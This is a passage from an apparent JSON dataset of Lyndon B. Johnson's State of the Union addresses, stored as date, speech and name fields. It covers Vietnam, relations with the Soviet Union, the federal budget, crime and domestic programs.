Communist\npower has not ended--especially in the light of the brutal invasion of\nCzechoslovakia. But totalitarianism is no less odious to us because we are\nable to reach some accommodation that reduces the danger of world\ncatastrophe.What we do, we do in the interest of peace in the world. We earnestly hope\nthat time will bring a Russia that is less afraid of diversity and\nindividual freedom.The quest for peace tonight continues in Vietnam, and in the Paris talks.I regret more than any of you know that it has not been possible to restore\npeace to South Vietnam.The prospects, I think, for peace are better today than at any time since\nNorth Vietnam began its invasion with its regular forces more than 4 years\nago.The free nations of Asia know what they were not sure of at that time: that\nAmerica cares about their freedom, and it also cares about America's own\nvital interests in Asia and throughout the Pacific.The North Vietnamese know that they cannot achieve their aggressive\npurposes by force. There may be hard fighting before a settlement is\nreached; but, I can assure you, it will yield no victory to the Communist\ncause.I cannot speak to you tonight about Vietnam without paying a very personal\ntribute to the men who have carried the battle out there for all of us. I\nhave been honored to be their Commander in Chief. The Nation owes them its\nunstinting support while the battle continues--and its enduring gratitude\nwhen their service is done.Finally, the quest for stable peace in the Middle East goes on in many\ncapitals tonight. America fully supports the unanimous resolution of the\nU.N. Security Council which points the way. There must be a settlement of\nthe armed hostility that exists in that region of the world today. It is a\nthreat not only to Israel and to all the Arab States, but it is a threat to\nevery one of us and to the entire world as well.Now, my friends in Congress, I want to conclude with a few very personal\nwords to you.I rejected and rejected and then finally accepted the congressional\nleadership's invitation to come here to speak this farewell to you in\nperson tonight.I did that for two reasons. One was philosophical. I wanted to give you my\njudgment, as I saw it, on some of the issues before our Nation, as I view\nthem, before I leave.The other was just pure sentimental. Most all of my life as a public\nofficial has been spent here in this building. For 38 years--since I worked\non that gallery as a doorkeeper in the House of Representatives--I have\nknown these halls, and I have known most of the men pretty well who walked\nthem.I know the questions that you face. I know the conflicts that you endure. I\nknow the ideals that you seek to serve.I left here first to become Vice President, and then to become, in a moment\nof tragedy, the President of the United States.My term of office has been marked by a series of challenges, both at home\nand throughout the world.In meeting some of these challenges, the Nation has found a new confidence.\nIn meeting others, it knew turbulence and doubt, and fear and hate.Throughout this time, I have been sustained by my faith in representative\ndemocracy--a faith that I had learned here in this Capitol Building as an\nemployee and as a Congressman and as a Senator.I believe deeply in the ultimate purposes of this Nation--described by the\nConstitution, tempered by history, embodied in progressive laws, and given\nlife by men and women that have been elected to serve their fellow\ncitizens.Now for 5 most demanding years in the White House, I have been strengthened\nby the counsel and the cooperation of two great former Presidents, Harry S.\nTruman and Dwight David Eisenhower. I have been guided by the memory of my\npleasant and close association with the beloved John F. Kennedy, and with\nour greatest modern legislator, Speaker Sam Rayburn.I have been assisted by my friend every step of the way, Vice President\nHubert Humphrey. I am so grateful that I have been supported daily by the\nloyalty of Speaker McCormack and Majority Leader Albert.I have benefited from the wisdom of Senator Mike Mansfield, and I am sure\nthat I have avoided many dangerous pitfalls by the good commonsense counsel\nof the President Pro Tem of the Senate, Senator Richard Brevard Russell.I have received the most generous cooperation from the leaders of the\nRepublican Party in the Congress of the United States, Senator Dirksen and\nCongressman Gerald Ford, the Minority Leader.No President should ask for more, although I did upon occasions. But few\nPresidents have ever been blessed with so much.President-elect Nixon, in the days ahead, is going to need your\nunderstanding, just as I did. And he is entitled to have it. I hope every\nMember will remember that the burdens he will bear as our President, will\nbe borne for all of us. Each of us should try not to increase these burdens\nfor the sake of narrow personal or partisan advantage.Now, it is time to leave. I hope it may be said, a hundred years from now,\nthat by working together we helped to make our country more just, more just\nfor all of its people, as well as to insure and guarantee the blessings of\nliberty for all of our posterity.That is what I hope. But I believe that at least it will be said that we\ntried.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "January 17, 1968", 
+    "speech": "Mr. Speaker, Mr. President, Members of the Congress, and my fellow\nAmericans:I was thinking as I was walking down the aisle tonight of what Sam Rayburn\ntold me many years ago: The Congress always extends a very warm welcome to\nthe President--as he comes in.Thank all of you very, very much.I have come once again to this Chamber--the home of our democracy--to give\nyou, as the Constitution requires, \"Information of the State of the\nUnion.\"I report to you that our country is challenged, at home and abroad:--that it is our will that is being tried, not our strength; our sense of\npurpose, not our ability to achieve a better America;--that we have the strength to meet our every challenge; the physical\nstrength to hold the course of decency and compassion at home; and the\nmoral strength to support the cause of peace in the world.And I report to you that I believe, with abiding conviction, that this\npeople--nurtured by their deep faith, tutored by their hard lessons, moved\nby their high aspirations--have the will to meet the trials that these times\nimpose.Since I reported to you last January:--Three elections have been held in Vietnam--in the midst of war and under\nthe constant threat of violence.--A President, a Vice President, a House and Senate, and village officials\nhave been chosen by popular, contested ballot.--The enemy has been defeated in battle after battle.--The number of South Vietnamese living in areas under Government\nprotection tonight has grown by more than a million since January of last\nyear.These are all marks of progress. Yet:--The enemy continues to pour men and material across frontiers and into\nbattle, despite his continuous heavy losses.--He continues to hope that America's will to persevere can be broken.\nWell--he is wrong. America will persevere. Our patience and our\nperseverance will match our power. Aggression will never prevail.But our goal is peace--and peace at the earliest possible moment.Right now we are exploring the meaning of Hanoi's recent statement. There\nis no mystery about the questions which must be answered before the bombing\nis stopped.We believe that any talks should follow the San Antonio formula that I\nstated last September, which said:--The bombing would stop immediately if talks would take place promptly and\nwith reasonable hopes that they would be productive.--And the other side must not take advantage of our restraint as they have\nin the past. This Nation simply cannot accept anything less without\njeopardizing the lives of our men and of our allies.If a basis for peace talks can be established on the San Antonio\nfoundations--and it is my hope and my prayer that they can--we would\nconsult with our allies and with the other side to see if a complete\ncessation of hostilities--a really true cease-fire--could be made the first\norder of business. I will report at the earliest possible moment the\nresults of these explorations to the American people.I have just recently returned from a very fruitful visit and talks with His\nHoliness the Pope and I share his hope--as he expressed it earlier\ntoday--that both sides will extend themselves in an effort to bring an end\nto the war in Vietnam. I have today assured him that we and our allies will\ndo our full part to bring this about.Since I spoke to you last January, other events have occurred that have\nmajor consequences for world peace.--The Kennedy Round achieved the greatest reduction in tariff barriers in\nall the history of trade negotiations.--The nations of Latin America at Punta del Este resolved to move toward\neconomic integration.--In Asia, the nations from Korea and Japan to Indonesia and Singapore\nworked behind America's shield to strengthen their economies and to broaden\ntheir political cooperation.--In Africa, from which the distinguished Vice President has just returned,\nhe reports to me that there is a spirit of regional cooperation that is\nbeginning to take hold in very practical ways.These events we all welcomed. Yet since I last reported to you, we and the\nworld have been confronted by a number of crises:--During the Arab-Israeli war last June, the hot line between Washington\nand Moscow was used for the first time in our history. A cease-fire was\nachieved without a major power confrontation.Now the nations of the Middle East have the opportunity to cooperate with\nAmbassador Jarring's U.N. mission and they have the responsibility to find\nthe terms of living together in stable peace and dignity, and we shall do\nall in our power to help them achieve that result.--Not far from this scene of conflict, a crisis flared on Cyprus involving\ntwo peoples who are America's friends: Greece and Turkey. Our very able\nrepresentative, Mr. Cyrus Vance, and others helped to ease this tension.--Turmoil continues on the mainland of China after a year of violent\ndisruption. The radical extremism of their Government has isolated the\nChinese people behind their own borders. The United States, however,\nremains willing to permit the travel of journalists to both our countries;\nto undertake cultural and educational exchanges; and to talk about the\nexchange of basic food crop materials.Since I spoke to you last, the United States and the Soviet Union have\ntaken several important steps toward the goal of international\ncooperation.As you will remember, I met with Chairman Kosygin at Glassboro and we\nachieved if not accord, at least a clearer understanding of our respective\npositions after 2 days of meeting.Because we believe the nuclear danger must be narrowed, we have worked with\nthe Soviet Union and with other nations to reach an agreement that will\nhalt the spread of nuclear weapons. On the basis of communications from\nAmbassador Fisher in Geneva this afternoon, I am encouraged to believe that\na draft treaty can be laid before the conference in Geneva in the very near\nfuture. I hope to be able to present that treaty to the Senate this year\nfor the Senate's approval.We achieved, in 1967, a consular treaty with the Soviets, the first\ncommercial air agreement between the two countries, and a treaty banning\nweapons in outer space. We shall sign, and submit to the Senate shortly, a\nnew treaty with the Soviets and with others for the protection of\nastronauts.Serious differences still remain between us, yet in these relations, we\nhave made some progress since Vienna, the Berlin Wall, and the Cuban\nmissile crisis.But despite this progress, we must maintain a military force that is\ncapable of deterring any threat to this Nation's security, whatever the\nmode of aggression. Our choices must not be confined to total war--or to\ntotal acquiescence.We have such a military force today. We shall maintain it.I wish--with all of my heart--that the expenditures that are necessary to\nbuild and to protect our power could all be devoted to the programs of\npeace. But until world conditions permit, and until peace is assured,\nAmerica's might--and America's bravest sons who wear our Nation's\nuniform--must continue to stand guard for all of us--as they gallantly do\ntonight in Vietnam and other places in the world.Yet neither great weapons nor individual courage can provide the conditions\nof peace.For two decades America has committed itself against the tyranny of want\nand ignorance in the world that threatens the peace. We shall sustain that\ncommitment. This year I shall propose:--That we launch, with other nations, an exploration of the ocean depths to\ntap its wealth, and its energy, and its abundance.--That we contribute our fair share to a major expansion of the\nInternational Development Association, and to increase the resources of the\nAsian Development Bank.--That we adopt a prudent aid program, rooted in the principle of\nself-help.--That we renew and extend the food for freedom program.Our food programs have already helped millions avoid the horrors of\nfamine.But unless the rapid growth of population in developing countries is\nslowed, the gap between rich and poor will widen steadily.Governments in the developing countries must take such facts into\nconsideration. We in the United States are prepared to help assist them in\nthose efforts.But we must also improve the lives of children already born in the villages\nand towns and cities on this earth. They can be taught by great teachers\nthrough space communications and the miracle of satellite television--and we\nare going to bring to bear every resource of mind and technology to help\nmake this dream come true.Let me speak now about some matters here at home.Tonight our Nation is accomplishing more for its people than has ever been\naccomplished before. Americans are prosperous as men have never been in\nrecorded history. Yet there is in the land a certain restlessness--a\nquestioning.The total of our Nation's annual production is now above $800 billion. For\n83 months this Nation has been on a steady upward trend of growth.All about them, most American families can see the evidence of growing\nabundance: higher paychecks, humming factories, new cars moving down new\nhighways. More and more families own their own homes, equipped with more\nthan 70 million television sets.A new college is founded every week. Today more than half of the high\nschool graduates go on to college.There are hundreds of thousands of fathers and mothers who never completed\ngrammar school--who will see their children graduate from college.Why, then, this restlessness?Because when a great ship cuts through the sea, the waters are always\nstirred and troubled.And our ship is moving. It is moving through troubled and new waters; it is\nmoving toward new and better shores.We ask now, not how can we achieve abundance?--but how shall we use our\nabundance? Not, is there abundance enough for all?--but, how can all share\nin our abundance?While we have accomplished much, much remains for us to meet and much\nremains for us to master.--In some areas, the jobless rate is still three or four times the national\naverage.--Violence has shown its face in some of our cities.--Crime increases on our streets.--Income for farm workers remains far behind that for urban workers; and\nparity for our farmers who produce our food is still just a hope--not an\nachievement.--New housing construction is far less than we need--to assure decent\nshelter for every family.--Hospital and medical costs are high, and they are rising.--Many rivers--and the air in many cities--remain badly polluted. And our\ncitizens suffer from breathing that air.We have lived with conditions like these for many, many years. But much\nthat we once accepted as inevitable, we now find absolutely intolerable.In our cities last summer, we saw how wide is the gulf for some Americans\nbetween the promise and the reality of our society.We know that we cannot change all of this in a day. It represents the\nbitter consequences of more than three centuries.But the issue is not whether we can change this; the issue is whether we\nwill change this.Well, I know we can. And I believe we will.This then is the work we should do in the months that are ahead of us in\nthis Congress.The first essential is more jobs, useful jobs for tens of thousands who can\nbecome productive and can pay their own way.Our economy has created 7 1/2 million new jobs in the past 4 years. It is\nadding more than a million and a half new jobs this year.Through programs passed by the Congress, job training is being given\ntonight to more than a million Americans in this country.This year, the time has come when we must get to those who are last in\nline--the hard-core unemployed--the hardest to reach.Employment officials estimate that 500,000 of these persons are now\nunemployed in the major cities of America. Our objective is to place these\n500,000 in private industry jobs within the next 3 years.To do this, I propose a $2. 1 billion manpower program in the coming fiscal\nyear--a 25 percent increase over the current year. Most of this increase\nwill be used to start a new partnership between government and private\nindustry to train and to hire the hard-core unemployed persons. I know of\nno task before us of more importance to us, to the country, or to our\nfuture.Another essential is to rebuild our cities.Last year the Congress authorized $662 million for the Model Cities\nprogram. I requested the full amount of that authorization to help meet the\ncrisis in the cities of America. But the Congress appropriated only $312\nmillion--less than half.This year I urge the Congress to honor my request for model cities funds to\nrebuild the centers of American cities by granting us the full amount that\nyou in the Congress authorized--$1 billion.The next essential is more housing--and more housing now.Surely a nation that can go to the moon can place a decent home within the\nreach of its families.Therefore we must call together the resources of industry and labor, to\nstart building 300,000 housing units for low- and middle-income families\nnext year--that is three times more than this year. We must make it\npossible for thousands of families to become homeowners, not rent-payers.I propose, for the consideration of this Congress, a 10-year campaign to\nbuild 6 million new housing units for low and middle-income families. Six\nmillion units in the next 10 years. We have built 530,000 the last 10\nyears.Better health for our children--all of our children--is essential if we are\nto have a better America.Last year, Medicare, Medicaid, and other new programs that you passed in\nthe Congress brought better health to more than 25 million Americans.American medicine--with the very strong support and cooperation of public\nresources--has produced a phenomenal decline in the death rate from many of\nthe dread diseases.But it is a shocking fact that, in saving the lives of babies, America\nranks 15th among the nations of the world. And among children, crippling\ndefects are often discovered too late for any corrective action. This is a\ntragedy that Americans can, and Americans should, prevent.I shall, therefore, propose to the Congress a child health program to\nprovide, over the next 5 years, for families unable to afford it--access to\nhealth services from prenatal care of the mother through the child's first\nyear.When we do that you will find it is the best investment we ever made\nbecause we will get these diseases in their infancy and we will find a cure\nin a great many instances that we can never find by overcrowding our\nhospitals when they are grown.Now when we act to advance the consumer's cause I think we help every\nAmerican.Last year, with very little fanfare the Congress and the executive branch\nmoved in that field.We enacted the Wholesome Meat Act, the Flammable Fabrics Act, the Product\nSafety Commission, and a law to improve clinical laboratories.And now, I think, the time has come to complete our unfinished work. The\nSenate has already passed the truth-in-lending bill, the fire safety bill,\nand the pipeline safety laws.Tonight I plead with the House to immediately act upon these measures and I\nhope take favorable action upon all of them. I call upon the Congress to\nenact, without delay, the remainder of the 12 vital consumer protection\nlaws that I submitted to the Congress last year.I also urge final action on a measure that is already passed by the House\nto guard against fraud and manipulation in the Nation's commodity exchange\nmarket.These measures are a pledge to our people--to keep them safe in their homes\nand at work, and to give them a fair deal in the marketplace.And I think we must do more. I propose:--New powers for the Federal Trade Commission to stop those who defraud and\nwho swindle our public.--New safeguards to insure the quality of fish and poultry, and the safety\nof our community water supplies.--A major study of automobile insurance.--Protection against hazardous radiation from television sets and other\nelectronic equipment.And to give the consumer a stronger voice, I plan to appoint a consumer\ncounsel in the Justice Department--a lawyer for the American consumer--to\nwork directly under the Attorney General, to serve the President's Special\nAssistant for Consumer Affairs, and to serve the consumers of this land.This Congress--Democrats and Republicans--can earn the thanks of history.\nWe can make this truly a new day for the American consumer, and by giving\nhim this protection we can live in history as the consumer-conscious\nCongress.So let us get on with the work. Let us act soon.We, at every level of the government, State, local, Federal, know that the\nAmerican people have had enough of rising crime and lawlessness in this\ncountry.They recognize that law enforcement is first the duty of local police and\nlocal government.They recognize that the frontline headquarters against crime is in the\nhome, the church, the city hall and the county courthouse and the\nstatehouse--not in the far-removed National Capital of Washington.But the people also recognize that the National Government can and the\nNational Government should help the cities and the States in their war on\ncrime to the full extent of its resources and its constitutional authority.\nAnd this we shall do.This does not mean a national police force. It does mean help and financial\nsupport:--to develop State and local master plans to combat crime,--to provide better training and better pay for police, and--to bring the most advanced technology to the war on crime in every city\nand every county in America.There is no more urgent business before this Congress than to pass the Safe\nStreets Act this year that I proposed last year. That law will provide\nthese required funds. They are so critically needed that I have doubled my\nrequest under this act to $100 million in fiscal 1969.And I urge the Congress to stop the trade in mail-order murder, to stop it\nthis year by adopting a proper gun control law.This year, I will propose a Drug Control Act to provide stricter penalties\nfor those who traffic in LSD and other dangerous drugs with our people.I will ask for more vigorous enforcement of all of our drug laws by\nincreasing the number of Federal drug and narcotics control officials by\nmore than 30 percent. The time has come to stop the sale of slavery to the\nyoung. I also request you to give us funds to add immediately 100 assistant\nUnited States attorneys throughout the land to help prosecute our criminal\nlaws. We have increased our judiciary by 40 percent and we have increased\nour prosecutors by 16 percent. The dockets are full of cases because we\ndon't have assistant district attorneys to go before the Federal judge and\nhandle them. We start these young lawyers at $8,200 a year. And the docket\nis clogged because we don't have authority to hire more of them.I ask the Congress for authority to hire 100 more. These young men will\ngive special attention to this drug abuse, too.Finally, I ask you to add 100 FBI agents to strengthen law enforcement in\nthe Nation and to protect the individual rights of every citizen.A moment ago I spoke of despair and frustrated hopes in the cities where\nthe fires of disorder burned last summer. We can--and in time we\nwill--change that despair into confidence, and change those frustrations\ninto achievements. But violence will never bring progress.We can make progress only by attacking the causes of violence and only\nwhere there is civil order founded on justice.Today we are helping local officials improve their capacity to deal\npromptly with disorders.Those who preach disorder and those who preach violence must know that\nlocal authorities are able to resist them swiftly, to resist them sternly,\nand to resist them decisively.I shall recommend other actions:--To raise the farmers' income by establishing a security commodity reserve\nthat will protect the market from price-depressing stocks and protect the\nconsumer from food scarcity.--I shall recommend programs to help farmers bargain more effectively for\nfair prices.--I shall recommend programs for new air safety measures.--Measures to stem the rising costs of medical care.--Legislation to encourage our returning veterans to devote themselves to\ncareers in community service such as teaching, and being firemen, and\njoining our police force, and our law enforcement officials.--I shall recommend programs to strengthen and finance our anti-pollution\nefforts.--Fully funding all of the $2.18 billion poverty program that you in the\nCongress had just authorized in order to bring opportunity to those who\nhave been left far behind.--I shall recommend an Educational Opportunity Act to speed up our drive to\nbreak down the financial barriers that are separating our young people from\ncollege.I shall also urge the Congress to act on several other vital pending\nbills--especially the civil rights measures--fair jury trials, protection\nof Federal rights, enforcement of equal employment opportunity, and fair\nhousing.The unfinished work of the first session must be completed--the Higher\nEducation Act, the Juvenile Delinquency Act, conservation measures to save\nthe redwoods of California, and to preserve the wonders of our scenic\nrivers, the Highway Beautification Act--and all the other measures for a\ncleaner, and for a better, and for a more beautiful America.Next month we'll begin our 8th year of uninterrupted prosperity. The\neconomic outlook for this year is one of steady growth--if we are vigilant.True, there are some clouds on the horizon. Prices are rising. Interest\nrates have passed the peak of 1966; and if there is continued inaction on\nthe tax bill, they will climb even higher.I warn the Congress and the Nation tonight that this failure to act on the\ntax bill will sweep us into an accelerating spiral of price increases, a\nslump in homebuilding, and a continuing erosion of the American dollar.This would be a tragedy for every American family. And I predict that if\nthis happens, they will all let us know about it.We--those of us in the executive branch, in the Congress, and the leaders\nof labor and business--must do everything we can to prevent that kind of\nmisfortune.Under the new budget, the expenditures for 1969 will increase by $10.4\nbillion. Receipts will increase by $22.3 billion including the added tax\nrevenues. Virtually all of this expenditure increase represents the\nmandatory cost of our defense efforts, $3 billion; increased interest,\nalmost $1 billion; or mandatory payments under laws passed by\nCongress--such as those provided in the Social Security Act that you passed\nin 1967, and to Medicare and Medicaid beneficiaries, veterans, and farmers,\nof about $4 1/2 billion; and the additional $1 billion 600 million next\nyear for the pay increases that you passed in military and civilian pay.\nThat makes up the $10 billion that is added to the budget. With few\nexceptions, very few, we are holding the fiscal 1969 budget to last year's\nlevel, outside of those mandatory and required increases.A Presidential commission composed of distinguished congressional fiscal\nleaders and other prominent Americans recommended this year that we adopt a\nnew budget approach. I am carrying out their recommendations in this year's\nbudget. This budget, therefore, for the first time accurately covers all\nFederal expenditures and all Federal receipts, including for the first time\nin one budget $47 billion from the social security, Medicare, highway, and\nother trust funds.The fiscal 1969 budget has expenditures of approximately $186 billion, with\ntotal estimated revenues, including the tax bill, of about $178 billion.If the Congress enacts the tax increase, we will reduce the budget deficit\nby some $12 billion. The war in Vietnam is costing us about $25 billion and\nwe are asking for about $12 billion in taxes--and if we get that $12\nbillion tax bill we will reduce the deficit from about $20 billion in 1968\nto about $8 billion in 1969.Now, this is a tight budget. It follows the reduction that I made in\ncooperation with the Congress--a reduction made after you had reviewed\nevery appropriations bill and reduced the appropriations by some $5 or $6\nbillion and expenditures by $1.5 billion. We conferred together and I\nrecommended to the Congress and you subsequently approved taking 2 percent\nfrom payrolls and 10 percent from controllable expenditures. We therefore\nreduced appropriations almost $10 billion last session and expenditures\nover $4 billion. Now, that was in the budget last year.I ask the Congress to recognize that there are certain selected programs\nthat meet the Nation's most urgent needs and they have increased. We have\ninsisted that decreases in very desirable but less urgent programs be made\nbefore we would approve any increases. So I ask the Congress tonight:--to hold its appropriations to the budget requests, and--to act responsibly early this year by enacting the tax surcharge which\nfor the average American individual amounts to about a penny out of each\ndollar's income.This tax increase would yield about half of the $23 billion per year that\nwe returned to the people in the tax reduction bills of 1964 and 1965.This must be a temporary measure, which expires in less than 2 years.\nCongress can repeal it sooner if the need has passed. But Congress can\nnever repeal inflation.The leaders of American business and the leaders of American labor--those\nwho really have power over wages and prices--must act responsibly, and in\ntheir Nation's interest by keeping increases in line with productivity. If\nour recognized leaders do not do this, they and those for whom they speak\nand all of us are going to suffer very serious consequences.On January 1st, I outlined a program to reduce our balance of payments\ndeficit sharply this year. We will ask the Congress to help carry out those\nparts of the program which require legislation. We must restore equilibrium\nto our balance of payments.We must also strengthen the international monetary system. We have assured\nthe world that America's full gold stock stands behind our commitment to\nmaintain the price of gold at $35 an ounce. We must back this commitment by\nlegislating now to free our gold reserves.Americans, traveling more than any other people in history, took $4 billion\nout of their country last year in travel costs. We must try to reduce the\ntravel deficit that we have of more than $2 billion. We are hoping that we\ncan reduce it by $500 million--without unduly penalizing the travel of\nteachers, students, business people who have essential and necessary\ntravel, or people who have relatives abroad whom they want to see. Even\nwith this reduction of $500 million, the American people will still be\ntraveling more overseas than they did in 1967, 1966, or 1965 or any other\nyear in their history.If we act together as I hope we can, I believe we can continue our economic\nexpansion which has already broken all past records. And I hope that we can\ncontinue that expansion in the days ahead.Each of these questions I have discussed with you tonight is a question of\npolicy for our people. Therefore, each of them should be--and doubtless\nwill be--debated by candidates for public office this year.I hope those debates will be marked by new proposals and by a seriousness\nthat matches the gravity of the questions themselves.These are not appropriate subjects for narrow partisan oratory. They go to\nthe heart of what we Americans are all about--all of us, Democrats and\nRepublicans.Tonight I have spoken of some of the goals I should like to see America\nreach. Many of them can be achieved this year--others by the time we\ncelebrate our Nation's 200th birthday--the bicentennial of our\nindependence.Several of these goals are going to be very hard to reach. But the State of\nour Union will be much stronger 8 years from now on our 200th birthday if\nwe resolve to reach these goals now. They are more important--much more\nimportant--than the identity of the party or the President who will then be\nin office.These goals are what the fighting and our alliances are really meant to\nprotect.Can we achieve these goals?Of course we can--if we will.If ever there was a people who sought more than mere abundance, it is our\npeople.If ever there was a nation that was capable of solving its problems, it is\nthis Nation.If ever there were a time to know the pride and the excitement and the hope\nof being an American--it is this time.So this, my friends, is the State of our Union: seeking, building, tested\nmany times in this past year--and always equal to the test.Thank you and good night.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "January 4, 1965", 
+    "speech": "On this Hill which was my home, I am stirred by old friendships.Though total agreement between the Executive and the Congress is\nimpossible, total respect is important.I am proud to be among my colleagues of the Congress whose legacy to their\ntrust is their loyalty to their Nation.I am not unaware of the inner emotions of the new Members of this body\ntonight.Twenty-eight years ago, I felt as you do now. You will soon learn that you\nare among men whose first love is their country, men who try each day to do\nas best they can what they believe is right.We are entering the third century of the pursuit of American union.Two hundred years ago, in 1765, nine assembled colonies first joined\ntogether to demand freedom from arbitrary power.For the first century we struggled to hold together the first continental\nunion of democracy in the history of man. One hundred years ago, in 1865,\nfollowing a terrible test of blood and fire, the compact of union was\nfinally sealed.For a second century we labored to establish a unity of purpose and\ninterest among the many groups which make up the American community.That struggle has often brought pain and violence. It is not yet over. But\nwe have achieved a unity of interest among our people that is unmatched in\nthe history of freedom.And so tonight, now, in 1965, we begin a new quest for union. We seek the\nunity of man with the world that he has built--with the knowledge that can\nsave or destroy him--with the cities which can stimulate or stifle\nhim--with the wealth and the machines which can enrich or menace his\nspirit.We seek to establish a harmony between man and society which will allow\neach of us to enlarge the meaning of his life and all of us to elevate the\nquality of our civilization. This is the search that we begin tonight.STATE OF THE WORLDBut the unity we seek cannot realize its full promise in\nisolation. For today the state of the Union depends, in large measure, upon\nthe state of the world.Our concern and interest, compassion and vigilance, extend to every corner\nof a dwindling planet.Yet, it is not merely our concern but the concern of all free men. We will\nnot, and we should not, assume that it is the task of Americans alone to\nsettle all the conflicts of a torn and troubled world.Let the foes of freedom take no comfort from this. For in concert with\nother nations, we shall help men defend their freedom.Our first aim remains the safety and the well-being of our own country.We are prepared to live as good neighbors with all, but we cannot be\nindifferent to acts designed to injure our interests, or our citizens, or\nour establishments abroad. The community of nations requires mutual\nrespect. We shall extend it--and we shall expect it.In our relations with the world we shall follow the example of Andrew\nJackson who said: \"I intend to ask for nothing that is not clearly right\nand to submit to nothing that is wrong.\" And he promised, that \"the honor\nof my country shall never be stained by an apology from me for the\nstatement of truth or for the performance of duty.\" That was this Nation's\npolicy in the 1830's and that is this Nation's policy in the 1960's.Our own freedom and growth have never been the final goal of the American\ndream.We were never meant to be an oasis of liberty and abundance in a worldwide\ndesert of disappointed dreams. Our Nation was created to help strike away\nthe chains of ignorance and misery and tyranny wherever they keep man less\nthan God means him to be.We are moving toward that destiny, never more rapidly than we have moved in\nthe last 4 years.In this period we have built a military power strong enough to meet any\nthreat and destroy any adversary. And that superiority will continue to\ngrow so long as this office is mine--and you sit on Capitol Hill.In this period no new nation has become Communist, and the unity of the\nCommunist empire has begun to crumble.In this period we have resolved in friendship our disputes with our\nneighbors of the hemisphere, and joined in an Alliance for Progress toward\neconomic growth and political democracy.In this period we have taken more steps toward peace--including the test\nban treaty--than at any time since the cold war began.In this period we have relentlessly pursued our advances toward the\nconquest of space.Most important of all, in this period, the United States has reemerged into\nthe fullness of its self-confidence and purpose. No longer are we called\nupon to get America moving. We are moving. No longer do we doubt our\nstrength or resolution. We are strong and we have proven our resolve.No longer can anyone wonder whether we are in the grip of historical decay.\nWe know that history is ours to make. And if there is great danger, there\nis now also the excitement of great expectations.AMERICA AND THE COMMUNIST NATIONSYet we still live in a troubled and\nperilous world. There is no longer a single threat. There are many. They\ndiffer in intensity and in danger. They require different attitudes and\ndifferent answers.With the Soviet Union we seek peaceful understandings that can lessen the\ndanger to freedom.Last fall I asked the American people to choose that course. I will carry\nforward their command.If we are to live together in peace, we must come to know each other\nbetter.I am sure that the American people would welcome a chance to listen to the\nSoviet leaders on our television--as I would like the Soviet people to hear\nour leaders on theirs.I hope the new Soviet leaders can visit America so they can learn about our\ncountry at firsthand.In Eastern Europe restless nations are slowly beginning to assert their\nidentity. Your Government, assisted by the leaders in American labor and\nbusiness, is now exploring ways to increase peaceful trade with these\ncountries and with the Soviet Union. I will report our conclusions to the\nCongress.In Asia, communism wears a more aggressive face. We see that in Viet-Nam.\nWhy are we there?We are there, first, because a friendly nation has asked us for help\nagainst the Communist aggression. Ten years ago our President pledged our\nhelp. Three Presidents have supported that pledge. We will not break it\nnow.Second, our own security is tied to the peace of Asia. Twice in one\ngeneration we have had to fight against aggression in the Far East. To\nignore aggression now would only increase the danger of a much larger war.Our goal is peace in southeast Asia. That will come only when aggressors\nleave their neighbors in peace.What is at stake is the cause of freedom and in that cause America will\nnever be found wanting.THE NON-COMMUNIST WORLDBut communism is not the only source of trouble and\nunrest. There are older and deeper sources--in the misery of nations and in\nman's irrepressible ambition for liberty and a better life.With the free Republics of Latin America I have always felt--and my country\nhas always felt--very special ties of interest and affection. It will be\nthe purpose of my administration to strengthen these ties. Together we\nshare and shape the destiny of the new world. In the coming year I hope to\npay a visit to Latin America. And I will steadily enlarge our commitment to\nthe Alliance for Progress as the instrument of our war against poverty and\ninjustice in this hemisphere.In the Atlantic community we continue to pursue our goal of 20 years--a\nEurope that is growing in strength, unity, and cooperation with America. A\ngreat unfinished task is the reunification of Germany through\nself-determination.This European policy is not based on any abstract design. It is based on\nthe realities of common interests and common values, common dangers and\ncommon expectations. These realities will continue to have their\nway--especially, I think, in our expanding trade and especially in our\ncommon defense.Free Americans have shaped the policies of the United States. And because\nwe know these realities, those policies have been, and will be, in the\ninterest of Europe.Free Europeans must shape the course of Europe. And, for the same reasons,\nthat course has been, and will be, in our interest and in the interest of\nfreedom.I found this truth confirmed in my talks with European leaders in the last\nyear. I hope to repay these visits to some of our friends in Europe this\nyear.In Africa and Asia we are witnessing the turbulent unfolding of new nations\nand continents.We welcome them to the society of nations.We are committed to help those seeking to strengthen their own\nindependence, and to work most closely with those governments dedicated to\nthe welfare of all of their people.We seek not fidelity to an iron faith, but a diversity of belief as varied\nas man himself. We seek not to extend the power of America but the progress\nof humanity. We seek not to dominate others but to strengthen the freedom\nof all people.I will seek new ways to use our knowledge to help deal with the explosion\nin world population and the growing scarcity in world resources.Finally, we renew our commitment to the continued growth and the\neffectiveness of the United Nations. The frustrations of the United Nations\nare a product of the world that we live in, and not of the institution\nwhich gives them voice. It is far better to throw these differences open to\nthe assembly of nations than to permit them to fester in silent danger.These are some of the goals of the American Nation in the world in which we\nlive.For ourselves we seek neither praise nor blame, neither gratitude nor\nobedience.We seek peace.We seek freedom.We seek to enrich the life of man.For that is the world in which we will flourish and that is the world that\nwe mean for all men to ultimately have.TOWARD THE GREAT SOCIETYWorld affairs will continue to call upon our energy\nand our courage.But today we can turn increased attention to the character of American\nlife.We are in the midst of the greatest upward surge of economic well-being in\nthe history of any nation.Our flourishing progress has been marked by price stability that is\nunequalled in the world. Our balance of payments deficit has declined and\nthe soundness of our dollar is unquestioned. I pledge to keep it that way\nand I urge business and labor to cooperate to that end.We worked for two centuries to climb this peak of prosperity. But we are\nonly at the beginning of the road to the Great Society. Ahead now is a\nsummit where freedom from the wants of the body can help fulfill the needs\nof the spirit.We built this Nation to serve its people.We want to grow and build and create, but we want progress to be the\nservant and not the master of man.We do not intend to live in the midst of abundance, isolated from neighbors\nand nature, confined by blighted cities and bleak suburbs, stunted by a\npoverty of learning and an emptiness of leisure.The Great Society asks not how much, but how good; not only how to create\nwealth but how to use it; not only how fast we are going, but where we are\nheaded.It proposes as the first test for a nation: the quality of its people.This kind of society will not flower spontaneously from swelling riches and\nsurging power.It will not be the gift of government or the creation of presidents. It\nwill require of every American, for many generations, both faith in the\ndestination and the fortitude to make the journey.And like freedom itself, it will always be challenge and not fulfillment.\nAnd tonight we accept that challenge.A NATIONAL AGENDAI propose that we begin a program in education to ensure\nevery American child the fullest development of his mind and skills.I propose that we begin a massive attack on crippling and killing\ndiseases.I propose that we launch a national effort to make the American city a\nbetter and a more stimulating place to live.I propose that we increase the beauty of America and end the poisoning 